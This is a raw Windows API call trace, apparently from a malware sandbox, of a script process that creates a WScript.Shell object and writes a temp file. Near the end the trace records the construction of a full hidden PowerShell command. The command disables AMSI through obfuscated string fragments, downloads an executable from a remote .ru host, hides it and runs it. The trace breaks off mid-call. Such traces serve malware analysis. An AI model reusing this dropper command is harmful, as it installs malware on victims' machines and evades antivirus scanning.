[0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¨", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¨£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Î", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Σµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.134] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0xbcb38f6250 | out: lpclsid=0xbcb38f6250*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0072.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0072.135] CoCreateInstance (in: rclsid=0xbcb38f6250*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7ff9bdeee8c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xbcb38f60f8 | out: ppv=0xbcb38f60f8*=0x2885b0d8488) returned 0x0 [0072.757] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d8488, riid=0x7ff9bdf05eb0*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0xbcb38f6110 | out: ppvObject=0xbcb38f6110*=0x0) returned 0x80004002 [0072.757] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d8488, riid=0x7ff9bdf05ec0*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0xbcb38f6118 | out: ppvObject=0xbcb38f6118*=0x0) returned 0x80004002 [0072.757] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d8488, riid=0x7ff9bdeeb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f6138 | out: ppvObject=0xbcb38f6138*=0x2885b0d8460) returned 0x0 [0072.758] WshShell:IUnknown:Release (This=0x2885b0d8488) returned 0x1 [0072.773] WshShell:IDispatch:GetIDsOfNames (in: This=0x2885b0d8460, riid=0x7ff9bdef3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xbcb38f6220*="ExpandEnvironmentStrings", cNames=0x1, lcid=0x28800000409, rgDispId=0xbcb38f6204 | out: rgDispId=0xbcb38f6204*=1006) returned 0x0 [0072.802] WshShell:IDispatch:Invoke (in: This=0x2885b0d8460, dispIdMember=1006, riid=0x7ff9bdef3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0xbcb38f61b8*(rgvarg=([0]=0x2885d5761f8*(varType=0x4008, wReserved1=0x5d57, wReserved2=0x288, wReserved3=0x0, varVal1=0x2885d576580*="%TEMP%", varVal2=0x2885d576580)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x2885d576910, pExcepInfo=0xbcb38f61d0, puArgErr=0xbcb38f61b0 | out: pDispParams=0xbcb38f61b8*(rgvarg=([0]=0x2885d5761f8*(varType=0x4008, wReserved1=0x5d57, wReserved2=0x288, wReserved3=0x0, varVal1=0x2885d576580*="%TEMP%", varVal2=0x2885d576580)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x2885d576910*(varType=0x8, wReserved1=0x0, wReserved2=0xbc, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", varVal2=0x0), pExcepInfo=0xbcb38f61d0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xbcb38f61b0*=0x5751ee00) returned 0x0 [0072.804] WshShell:IUnknown:Release (This=0x2885b0d8460) returned 0x0 [0072.804] VarBstrCat (in: bstrLeft="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", bstrRight="\\JoHMwmhDhPJuWqSOTCEMf.txt", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", cchWideChar=-1, lpMultiByteStr=0xbcb38f5fd0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", lpUsedDefaultChar=0x0) returned 61 [0072.804] _fullpath (in: _FullPath=0xbcb38f6160, _Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", _SizeInBytes=0x104 | out: _FullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt" [0072.804] _sopen_s (in: _FileHandle=0xbcb38f6110, _FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\johmwmhdhpjuwqsotcemf.txt"), _OpenFlag=33537, _ShareFlag=64, _PermissionMode=384 | out: _FileHandle=0xbcb38f6110*=3) returned 0x0 [0072.805] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x278) returned 0x2885d425cd0 [0072.805] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0xc0) returned 0x2885da7ecb0 [0072.805] strcpy_s (in: _Dst=0x2885d425f08, _DstSize=0x3d, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt") returned 0x0 [0072.805] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run(\"", bstrRight="powershell.exe", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.805] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run(\"powershell.exe", bstrRight=" ", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.805] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run(\"powershell.exe ", bstrRight="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, $null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.805] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run(\"powershell.exe -WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, $null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"", bstrRight="\"), 0", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateObject(\"Wscript.shell\").run(\"powershell.exe -WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, $null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"\"), 0", cchWideChar=759, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 759 [0072.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateObject(\"Wscript.shell\").run(\"powershell.exe -WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, 